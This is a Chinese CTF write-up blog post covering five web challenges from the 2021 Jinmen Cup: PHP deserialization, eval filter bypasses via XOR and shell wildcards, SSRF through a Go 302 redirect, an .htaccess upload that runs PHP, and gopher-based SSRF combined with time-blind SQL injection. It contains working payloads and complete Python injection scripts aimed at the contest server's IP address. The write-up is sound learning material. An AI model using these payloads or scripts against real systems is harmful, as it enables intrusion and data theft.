这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。这篇文章主要介绍5月9日参加津门杯CTF题目知识,包括power_cut、hate_php、Go0SS、HploadHub和easysql,涉及知识点包括备份文件、SSRF、文件上传、SQL注入、302重定位、代码审计、中国蚁剑等。
参加比赛真的能学到很多知识,同时这些大佬是真的厉害,自己真的菜,我们只做出来6道题,需要学习的知识非常多,也非常感谢师弟们的努力。人生路上,要珍惜好每一天,努力奋斗,做到如数家珍,fighting!同时,作者在外读博求学,想好好阅读论文和做实验,因此已经停更技术文章,但这篇文章还是花时间总结出来,只望对初学者有帮助。
最高光的一刻,希望未来能更进一步,毕业后好好搞搞安全技术。
PS:最近网址还可以测试,大家可以试试这五道题目。后续作者会删除网址,保护主办方的服务器,当然他们应该也会关闭。本文参考了WHUCTF题目及WP、安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
题目描述如下:
该网站打开如下图所示:
<html>
<body>
<p><br/>昨天晚上因为14级大风停电了.p>
body>
html>
作者的基本思路如下:
(1) 我们从github下载dirsearch工具(Python脚本),这是一个目录扫描工具,目的是扫描网站的敏感文件和目录从而找到突破口。
(2) 接着,通过dirsearch扫描目录,自己在目录输入栏输入CMD快速进入。我们发现了敏感文件 .index.php.swp
。
文件泄露知识总结
备份文件泄露是基础知识,常见备份文件的包括.bak,.swp,.swo等。下面简单总结文件泄露知识点。
- 备份文件:.index.php.swp、.index.php.swo、.index.php.bak、.index.php~
- 源码压缩包:www.zip、root.zip、web.zip
- git泄露:www.xxx.com/.git/config,之后使用工具GitHack可以获取源码,python GitHack.py URL/.git
- svn泄露:www.xxx.com/.svn/entries,利用工具dvcs-ripper获取源码
- 其它文件泄露
– .idea目录泄露:使用了IntelliJ IDEA的工程,可泄露目录结构
– .DS_Store:www.xxx.com/.ds_store,工具ds_store_exp
– .pyc文件:python编译后的字节码文件
(3) 我们下载该源码文件,然后解读源码。
(4) 恢复.swp文件成 index.php
,否则打开是乱码。在Linux系统下使用vim带-r参数编辑,完后wq保存。
:w /tmp/index.php
文件恢复如下图所示:
下载本地文件如下图所示:
源代码如下所示:
class logger{
public $logFile;
public $initMsg;
public $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = $file;
readfile($this->logFile);
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
function __destruct(){
echo "this is destruct";
}
}
class weblog {
public $weblogfile;
function __construct() {
$flag="system('cat /flag')";
echo "$flag";
}
function __wakeup(){
// self::waf($this->filepath);
$obj = new logger($this->weblogfile);
}
public function waf($str){
$str=preg_replace("/[<>*#'|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function __destruct(){
echo "this is destruct";
}
}
$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>
<html>
<body>
<p><br/>昨天晚上因为14级大风停电了.</p>
</body>
</html>
(5) 审计发现 logger
类的构造函数中存在文件读取函数 readfile()
,并且参数可控。通过 weblog
类的 __wakeup
魔术方法,实例化 logger
类的一个对象时,触发文件读取漏洞。至于其他函数,经过分析不难看出,是为了迷惑的。
反序列化就需要输入序列化值。
$test = new weblog();
$test->weblogfile = "/flaflagg";
var_dump(serialize($test));
输出结果如下图所示,如果接着URL拼接仍然无结果。
因为会把flag替换为空,所以要把该变量的长度改为5。最终payload如下:
?log=O:6:"weblog":1:{
s:10:"weblogfile";s:5:"/flaflagg";}
知识总结
个人CTF题目喜欢长篇大论,希望大佬们不喜勿喷,更希望能帮助初学者。该题目你能学到的知识点包括:
当然,由于作者博士以论文为主,所以只是零零散散参加各种安全比赛,也走了很多弯路和尝试。如果你是一名安全初学者,可以多做做CTF题,它都是有一定规律的。
dirb目录扫描,依赖我们的字典库。
BurpSuite拦截请求,查看内容。
题目描述如下:
访问网址如下图所示:
PHP代码如下:
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
die('fighting!');
}
eval($code);
}
这道题目主要考察PHP代码审计和规则绕过,当输入code=123参数会提示如下图所示。
首先,我们常见的CTF题代码如下,主要是绕过数字和字母。
preg_match("/[A-Za-z0-9]+/",$code)
上面这段代码绕过方法如下:
接着,我们在线构造PHP请求。
POST请求构造
@$_++;
print($_);
$__=("#"^"|");
print($__);
$__.=("."^"~");
print($__);
$__.=("/"^"`");
print($__);
$__.=("|"^"/");
print($__);
$__.=("{"^"/");
print($__);
?>
输出结果如下图所示:
GET请求构造
$_="`{
{
{"^"?<>/";
print($_);
?>
最终我们通过异或构造请求,核心知识点如下:
var_dump("#./|{"^"|~`//"); //_POST
var_dump("`{
{
{"^"?<>/"); //_GET
?>
最终绕过数字和字符串的代码如下,成功获取Flag值。
?code=$_="`{
{
{"^"?<>/";${
$_}[_](${
$_}[__]);&_=getFlag
?code=$_="`{
{
{"^"?<>/";${
$_}[_](${
$_}[__]);&_=assert&__=print_r(`scandir`('/'))
1.这里的 "`{
{
{"^"?<>/" 是异或的简短写法,表示_GET
2.${
$_}[_](${
$_}[__]);等于$_GET[_]($_GET[__]);也就等于getFlag()
3.把_当作参数传进去执行getFlag()
此时输出结果如下图所示:
但如果直接输出到我们这道题目中,它会提示错误“fighting”。因为我们的正则表达式还过滤了特色字符,尤其是下划线(_)和美元符($)。
绕过数字和字母后,我们想试试能不能同时绕过下划线。
如果下划线都不给,就意味着不能定义变量,而且也构造不出来数字。我们必须要想其他方法绕过规则,这是大佬给的payload,+号必须加引号。
"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();
进一步完善的payload如下:
?code=${
"`{
{
{"^"?<>/"}['+']();&+=getFlag
?code=${
"`{
{
{"^"?<>/"}['+']();&_=assert&__=print_r(`scandir`('/'))
该payload中{}的内容是异或,异或在{}中被执行了,也就是上面讲的 “`{ { {”^"?<>/" 执行了异或操作,相当于_GET。最后eva函数拼接出了字符串 $_GET [’+’] (),然后传入+=getFlag,最后执行函数getFlag()。
注意,这里的代码相当于 ${_GET}'+'
,利用${}中的代码可以执行的特点。
$a = 'hello';
$$a = 'world';
echo "$a ${
$a}";
?>
输出:hello world
此时的payload如果直接输入到题目中,它仍然会报错“fighting”,因为美元符号也被过滤了。
正确答案如下所示:
WEB hate_php
思路一:绕过字符和数字
code=$_="`{
{
{"^"?<>/";${
$_}[_](${
$_}[__]);
1.成功 preg_match("/[A-Za-z0-9]+/",$code)
2.失败 preg_match("/[A-Za-z0-9_@]+/",$code)
3.失败 preg_match("/[A-Za-z0-9_$@]+/",$code)
思路二:绕过字符和数字+下划线(变量_和__)
code=${
"`{
{
{"^"?<>/"}['+']();
1.成功 preg_match("/[A-Za-z0-9]+/",$code)
2.成功 preg_match("/[A-Za-z0-9_@]+/",$code)
3.失败 preg_match("/[A-Za-z0-9_$@]+/",$code)
- ?code=${
"`{
{
{"^"?<>/"}['+']();&+=getFlag
- ?code=${
"`{
{
{"^"?<>/"}['+']();&_=assert&__=print_r(`scandir`('/'))
思路三:绕过字符和数字+下划线(变量_和__)+美元符号($)
1.均失败
------------------------------------------------------
【最终答案】
思路四:采用通配符绕过美元符号($)
?code=?>=`/???/??? /????`?>
?code=?%3E%3C?=`/???/???%20/????`?%3E
Cflag{
h76ghpt2v2JiYEKzBQ5ysxu9b2Z3mN4A}
输出结果如下图所示:
解题思路:
这里参考zering大佬文章,通过 /bin/cat
来读取源码,比如:
$_=`/???/???%20/???/???/????/?????.???`;?>=$_?>
"/bin/cat /var/www/html/index.php"
如果有长度限制,比如小于35且不存在 $ _,则将 $ _ 带入后面一个表达式,同时使用 * 来匹配最后文件。同时,这里的 ?> 闭合了eval自带的 标签。
构造payload如下:
?>=`/???/???%20/???/???/????/*`?>
php使用短链接含义如下:
echo `/bin/cat /var/www/html/index.php`?>
读取到源码发现存在如下函数:
function getFlag(){
$flag = file_get_contents('/flag');
echo $flag;
}
注意,我们可以在本地构建该PHP案例进行测试。
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
die('fighting!');
}
$flag = 'eastmount';
eval($code);
echo($flag);
}
如下图所示:
最后直接读取flag文件。
?>=`/???/???%20/????`;?>
?code=?>=`/???/??? /????`?>
知识总结
该部分参考资料:
题目描述如下:
访问网址如下图所示,默认输出 {“message”, “pong”}。
index.php文件内容为空。
// php in localhost port 80
readfile($_GET['file']);
?>
这道题目给出了源代码,应该是想大家通过代码设计来找到漏洞利用点。
源码为GO语言,其中核心为main.go文件。
package main
import (
"bytes"
"crypto/md5"
"encoding/hex"
"github.com/gin-gonic/gin"
"io"
"io/ioutil"
"net/http"
"os"
"strings"
"time"
)
type File struct {
Content string `json:"content" binding:"required"`
Name string `json:"name" binding:"required"`
}
type Url struct {
Url string `json:"url" binding:"required"`
}
func md5sum(data string) string{
s := md5.Sum([]byte(data))
return hex.EncodeToString(s[:])
}
func fileMidderware (c *gin.Context){
fileSystem := http.Dir("./files/")
if c.Request.URL.String() == "/"{
c.Next()
return
}
f,err := fileSystem.Open(c.Request.URL.String())
if f == nil {
c.Next()
}
//
if err != nil {
c.Next()
return
}
defer f.Close()
fi, err := f.Stat()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": err.Error()})
return
}
if fi.IsDir() {
if !strings.HasSuffix(c.Request.URL.String(), "/") {
c.Redirect(302,c.Request.URL.String()+"/")
} else {
files := make([]string,0)
l,_ := f.Readdir(0)
for _,i := range l {
files = append(files, i.Name())
}
c.JSON(http.StatusOK, gin.H{
"files" :files,
})
}
} else {
data,_ := ioutil.ReadAll(f)
c.Header("content-disposition", `attachment; filename=` + fi.Name())
c.Data(200, "text/plain", data)
}
}
func uploadController(c *gin.Context) {
var file File
if err := c.ShouldBindJSON(&file); err != nil {
c.JSON(500, gin.H{
"msg": err})
return
}
dir := md5sum(file.Name)
_,err:= http.Dir("./files").Open(dir)
if err != nil{
e := os.Mkdir("./files/"+dir,os.ModePerm)
_, _ = http.Dir("./files").Open(dir)
if e != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": e.Error()})
return
}
}
filename := md5sum(file.Content)
path := "./files/"+dir+"/"+filename
err = ioutil.WriteFile(path, []byte(file.Content), os.ModePerm)
if err != nil{
c.JSON(http.StatusInternalServerError, gin.H{
"error": err.Error()})
return
}
c.JSON(200, gin.H{
"message": "file upload succ, path: "+dir+"/"+filename,
})
}
func vulController(c *gin.Context) {
var url Url
if err := c.ShouldBindJSON(&url); err != nil {
c.JSON(500, gin.H{
"msg": err})
return
}
if !strings.HasPrefix(url.Url,"http://127.0.0.1:1234/"){
c.JSON(403, gin.H{
"msg": "url forbidden"})
return
}
client := &http.Client{
Timeout: 2 * time.Second}
resp, err := client.Get(url.Url)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": err.Error()})
return
}
defer resp.Body.Close()
var buffer [512]byte
result := bytes.NewBuffer(nil)
for {
n, err := resp.Body.Read(buffer[0:])
result.Write(buffer[0:n])
if err != nil && err == io.EOF {
break
} else if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": err.Error()})
return
}
}
c.JSON(http.StatusOK, gin.H{
"data": result.String()})
}
func main() {
r := gin.Default()
r.Use(fileMidderware)
r.POST("/vul",vulController)
r.POST("/upload",uploadController)
r.GET("/", func(c *gin.Context) {
c.JSON(200, gin.H{
"message": "pong",
})
})
_ = r.Run(":1234") // listen and serve on 0.0.0.0:8080
}
(1) 我们首先打开index.php源码,发现代码如下,存在一个提醒,即内网80端有php SSRF。
(2) 接着我们需要审计GO语言代码(main.go),首先看主函数。核心内容如下:
可以发现两个可用的目录 vul
和 upload
,后续对其进行渗透测试。
(3) 接着代码审计发现可以通过302跳转完成SSRF。56行通过HasSuffix判断字符串是否以 / 结尾,不以其结尾造成302重定向。核心代码如下:
func fileMidderware (c *gin.Context) ...
if !strings.HasSuffix(c.Request.URL.String(), "/") {
c.Redirect(302,c.Request.URL.String()+"/")
}
需要满足IsDir(),本地环境发现末尾多加一些 …/ 的时候即可触发302。
(4) 接着我们随便发送POST信息试试,其值为空。
同时,代码审计发现需要本地1234端口重定向,且必须以该链接开头否则403错误。
如果端口不正确会提示“url forbidden”错误。
如果重定向端口正确则提示页面不存在,此时可以继续构造payload。
(5) 调用函数 http.Dir("/dir").open() 打开文件或目录,如果open函数的参数为 . 或者 … 返回对象也会被认为是一个目录。
(6) 最后通过vul控制器配合ssrf, 发起攻击。先跳转到自己的vps,在302到带参数的内网地址即可获取flag。注意,gin-gonic/gin特性发现双斜杠(//)即可触发SSRF。
最终Payload如下:
知识总结
做这个题目我自己是挺抗拒的。建议大家在做CTF时,不要看到陌生的GO语言的代码审计就抗拒,其实原理都差不多,我们需要学会分析源码。同时,作者调用BP进行分析也走了一些弯路。
题目描述如下:
该网站打开如下图所示:
同时给出了UploadHub源码供大家分析。
dockerfile文件信息如下:
FROM ubuntu:14.04
#ENV DEBIAN_FRONTEND noninteractive
RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN apt-get update -y
# install http
RUN apt-get install -y apache2
RUN mkdir -p /var/lock/apache2 /var/run/apache2
RUN apt-get update && apt-get install -y libapache2-mod-php5 php5 php5-mysql mysql-server python3 python3-pip
COPY app/www /var/www/html
COPY app/shuyu.sql /root/shuyu.sql
COPY app/start.sh /root/start.sh
COPY app/apache2.conf /etc/apache2/apache2.conf
COPY app/tar.py /tar.py
RUN sed -i "315c disable_functions = error_log,...,,ftp_ssl_connect," /etc/php5/apache2/php.ini
RUN sed -i '$a\ServerName 127.0.0.1' /etc/apache2/apache2.conf &&\
chmod -R 755 /var/www/html &&\
chmod -R 777 /var/www/html/upload&&\
rm /var/www/html/index.html&&\
chmod +x /root/start.sh
RUN sed -i "N;32a\secure_file_priv=/tmp" /etc/mysql/my.cnf&&\
find /var/lib/mysql -type f -exec touch {
} \; && service mysql start&&\
mysqladmin -u root password "root"&&\
mysql -u root -proot -e "create database shuyu;"&&\
mysql -u root -proot shuyu < /root/shuyu.sql
RUN echo flag{
test}>/flag
EXPOSE 80
CMD ["/root/start.sh"]
index.php代码如下
<html>
<head>
<title>生而为人,我很抱歉</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<body>
<h1>电影太仁慈,总能让错过的人重新相遇;生活不一样,有的人说过再见就再也不见了 -网易云</h1>
<form action="" method="post"
enctype="multipart/form-data">
<label for="file">filename:</label>
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="submit" />
</form>
error_reporting(0);
session_start();
include('config.php');
$upload = 'upload/'.md5("shuyu".$_SERVER['REMOTE_ADDR']);
@mkdir($upload);
file_put_contents($upload.'/index.html', '');
if(isset($_POST['submit'])){
$allow_type=array("jpg","gif","png","bmp","tar","zip");
$fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800){
die('upload error');
}else{
$filename=addslashes($_FILES['file']['name']);
$sql="insert into img (filename) values ('$filename')";
$conn->query($sql);
$sql="select id from img where filename='$filename'";
$result=$conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$id=$row["id"];
}
move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
header("Location: index.php?id=$id");
}
}
}
elseif (isset($_GET['id'])){
$id=intval($_GET['id']);
$sql="select filename from img where id=$id";
$result=$conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$filename=$row["filename"];
}
$img=$upload.'/'.$filename;
echo "";
}
}
?>
<style>
body{
background:url(./back.jpg) no-repeat right -160px ;
background-size:90%;
background-attachment:fixed;
background-color: rgba(255, 255, 255, 0.8);
}
</style>
</body>
</html>
看到这个题目,大家肯定想到了任意文件上传漏洞,但这道题目似乎可以上传任意文件。
(1) 首先,我们查看Apache2.conf配置文件信息,发现在配置层面禁止了upload沙盒解析php。所以php相关的一句话木马是不能执行的。
<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
php_flag engine off
</Directory>
(2) 继续查看Apache2.conf配置信息,发现是允许上传.htaccess文件的,且AllowOverride选项为All。此外,网上大神说配置文件的 < directory > 晚于htaccess执行,所以确定此题目为.htaccess的利用。
知识补充
.htaccess文件或者“分布式配置文件”提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录。简单来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。它的功能有:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或目录的访问、禁止目录列表、配置默认文档等。这里我们需要用到的是改变文件扩展名,上传一个“.htaccess”文件.
- https://blog.csdn.net/Eastmount/article/details/103552209
(3) 上传htaccess文件,Rce bypass下disablefunc。注意,如果直接上传php_flag engine on会没用,但apache2.conf中把上传目录的php解析关了。
构建的exp代码 (.htaccess)如下:
<Files .htaccess>
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</Files>
php_value auto_prepend_fi\
le .htaccess
#
成功上传后我们可以简单获取上传文件的网址,因为其显示在左边某个位置。
网址为:URL+/upload/06ce7af6d0fb28b0f56bbd6003a36785/.htaccess
(4) 最后通过file_get_contents("/flag")函数读取flag内容并返回,构造的payload是重点。
输出结果如下图所示,可以看到flag值。其“eastmount”是我构造.htaccess文件中的代码。
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
php_value auto_prepend_fi\ le .htaccess
#string(39) "flag{BNjmiWsBgTW4fsLoDgWLvgnfqk1CI3Nx}
其他读取文件内容的常用方法如下(该题好像不行)。
最后给出文件上传漏洞的思维导图,可以看看作者之前的6篇文章总结。
下面通过蚁剑简单测试文件上传漏洞的后续工作,并尝试找到flag的文件。虽然遗憾作者未找到,但这些方法也提供给初学者学习,大家也可以自行尝试或告诉我好的方法。
第一步,用上传的.htaccess文件建立链接。
连接成功如下图所示,注意如果上传php或一句话图片是不能反弹shell,因为关闭了php解析。
第二步,连接成功后,查看文件目录列表,打开终端如下图所示。
我们的想法是获取根目录或var目录下,查看是否存在flag.php或flag.txt相关的文件,但并未找到(不知道蚁剑如何搜索)。
第三步,调用相关插件进行深入渗透测试。可以看到PHP版本是5.5,操作系统是Linux,但仍无法运行相关的函数绕过。怀疑是.htaccess文件,而这里需要php文件才行。
第四步,远程shell连接成功后,我们开可以打开终端进行相关操作。如下图所示,很遗憾提示“ret=127”,应该是屏蔽了相关功能。
第五步,我们在该题目提供的config.php文件中发现了数据库的配置信息。接着我想flag是否藏在数据库表中。
config.php文件如下:
在数据库中添加信息的root用户和密码。
可以看到对应的数据库名称为“shuyu”,存在一个表格“img”,对应两个字段id和filename。
查看表格信息如下:
这里简单通过sql语句查询flag相关的值,发现了相关的文件,但不知道怎么在中国蚁剑中查找。
写到这里,这个题目基本结束了,遗憾仍然未找到该flag文件。还是自己太弱了,需要学习的知识太多,希望读者告诉我后续方法。同时,由于我接下来投入到学术论文中,技术分享就少了,后面博士毕业会花时间把BUUCTF做个遍,加油!
其他方法错误尝试如下图所示,比如查找敏感文件。
也可以BurpSuite拦截请求修改文件上传后缀,这是常用的方法。
上传一句话木马(mm.jpg、mm.php等)但中国蚁剑和冰蝎均无法连接。
下面是连接失败的某些页面。
题目描述如下:
该网站打开如下图所示:
对应源码如下所示:
highlight_file(__FILE__);
session_start();
$url = $_GET['url'] ?? false;
if($url)
{
$a = preg_match("/file|dict/i", $url);
if ($a==1)
{
exit();
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
?>
这个题目真的挺难的,需要利用SSRF+SQL注入实现,这里我就给出几种大佬的解题方法。后面第2部分和第3部分再给我的思考及尝试,我能做到SSRF和SQL注入尝试,但不会将两者融合。
(1) Chamd5安全团队WP
SSRF之后post时间盲注。
第一段代码是SQL盲注获取表名称,关于SSRF第2部分会详细介绍。
#津⻔杯-WriteUp Chamd5安全团队
import requests
import string
from urllib import parse
import time
import string
charset = "," + string.ascii_lowercase + string.digits + string.ascii_uppercase
charset = ",@" + string.ascii_letters
print(charset)
#,@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
def send(post):
post_len = len(post)
post = parse.quote(post)
exp = f"gopher://127.0.0.1:80/_POST%20%2Fadmin.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AConnection%3A%20close%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%20{post_len}%0D%0A%0D%0A{post}"
exp = exp.replace("%", "%25")
url = f"http://121.36.147.29:20001/?url={exp}"
start_time = time.time()
try:
r = requests.get(url, timeout=0.3)
except requests.exceptions.ReadTimeout:
return 0.3
stop_time = time.time()
return stop_time - start_time
result = ""
sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
for i in range(1,50):
for c in charset:
post = f"poc=mid(({sql}),{i},1)='{c}' and sleep(1) "
print(post)
t = send(post)
if t >= 0.3:
result += c
print(result)
break
输出表名如下:
第二段代码是SQL盲注flag列的具体值,核心代码如下:
result = ""
#sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#sql = "select group_concat(column_name) from information_schema.columns where table_name='flag';"
sql = "select group_concat(flag) from flag"
for i in range(1,50):
for c in charset:
post = f"poc=mid(({sql}),{i},1)='{c}' and sleep(1) "
t = send(post)
if t >= 0.3:
result += c
print(result)
break
(2) 某不知道名字的大神解题思路
已经爆破出数据库表名,通过select flag from flag查询值的payload。
import urllib.parse
import requests
import time
url="http://121.36.147.29:20001/index.php?url="
result = ""
for pos in range(1,10):
for i in range(1,127):
poc = "poc=1) and if((ascii(substr((select flag from flag),"+str(pos)+",1))='"+str(i)+"'),sleep(3),0) -- "
length = len(poc)
data = urllib.parse.quote(poc)
data = urllib.parse.quote(data)
final_poc = "gopher://127.0.0.1:80/_POST%20%2fadmin.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aContent-Length%3A%20"+str(length)+"%250d%250a%250d%250a"+str(data)
t1 = time.time()
res = requests.get(url + final_poc)
t2 = time.time()
if(t2-t1>3):
result += chr(i)
print(result)
break
输出结果如下图所示:
(3) HA1CgON大神解题思路
SSRF本地admin.php,gopher post注入实现。
$payload = "poc=" . $argv[1];
//$payload = "poc=if((select ascii(substr(database(),1,1)))=115,sleep(0.4),1)";
$test = "POST /admin.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
cache-control: no-cache
Postman-Token: 375ba985-8106-4d79-bafd-dff6654589b8
User-Agent: PostmanRuntime/7.6.0
Accept: */*
Host: 127.0.0.1
Content-Length: " . strlen($payload) . "
Connection: close
" . $payload . "
";
echo urlencode(("gopher://127.0.0.1:80/_" . rawurlencode($test)));
Python代码如下:
import requests
import time
import urllib
import os
url = 'http://121.36.147.29:20001/?url='
s=requests.Session()
x=""
payload = ''
for Len in range(1,50):
max = 127
min = 34
while max >= min:
mid = (max + min) // 2
payload = 'if((select ascii(substr((select flag from flag),1,{})))>{},sleep(0.2),1)'.format(Len,mid)
print(payload)
tmp_r = os.popen('php /Users/ha1c9on/Web/HISTORY/gopher.php "'+payload+'"').read()
before_time = time.time()
tmp_url = url+tmp_r
print(tmp_url)
r = requests.get(tmp_url)
after_time = time.time()
offset = after_time-before_time
if (offset>2):
min = mid + 1
else:
max = mid
if max == mid == min:
x += chr(mid)
print("success:{} length:{}".format(x, len(x)))
break
下面介绍作者做这个题目的各种尝试,这些知识希望对您SSRF漏洞的理解有帮助。
第一步,源代码审计。
$url = $_GET['url'] ?? false;
c=a??b;
1.表示如果a非空则c=a
2.如果a为空则c=b
该表达式要求url非空
$a = preg_match("/file|dict/i", $url);
执行匹配正则表达式
1.如果存在file|dict/i直接退出
2.否则执行后续语句
$ch = curl_init();
初始化一个cURL会话及操作
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
同时本地搭建相关代码进行代码审计测试。
第二步,简单扫描发现admin.php敏感目录且为302重定向,怀疑SSRF 302重定向漏洞。
第三步,进行简单的重定向尝试,发现成功后进行各种尝试。
其他题目有成功的,但本题难度更大。
第四步,尝试本地PHP服务器进行SSRF漏洞利用,提示没有资源。
第五步,利用本地连接进行重定向查询尝试。
提示需要poc请求,说明存在admin.php文件,但是需要提权或其他方法。
第六步,利用gopher协议通过302+本地php跳转并post key到flag.php,但提示。
gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议),可用于反弹shell.
第七步,此时意识到需要通过请求特征来构造gopher重定向Payload,再结合SQL注入实现(题目easysql),但确实没做出来。
期间也尝试curl方法。
也看到其他题目成功的例子。
SQL注入直接Sqlmap会失败,需要盲注实现,前面已经介绍过。但难点是与SSRF结合的时间盲注。
写到这里,这篇文章就介绍结束了,希望对您有所帮助,下面简单总结每题知识点。
作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,由于在外读博,目前暂停技术更新,但这篇确实应该总结下,希望您能与我一起操作和进步。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔。同时再次感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。
欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。
(By:Eastmount 2021-05-12 夜于武汉 http://blog.csdn.net/eastmount/ )
参考文章如下,感谢这些大佬。
[1] 津门杯 – WEB-Write-Up HA1C9ON
[2] 津⻔杯-WriteUp Chamd5安全团队
[3] NU1L大佬团队和官方WP
[4] CTF | Web安全 Part1:基础知识 - Ackeray
[5] CTF中PHP常见漏洞及利用(未完待续)
[6] CTFHub Bypass disable_function系列(已完结)
[7] SSRF 漏洞分析与利用(含 CTF 例题)
[8] linux curl get请求_CTF自学笔记(四)
[9] CTFHUB技能树-SSRF【POST请求】
自学篇(建议直接跳转到正文):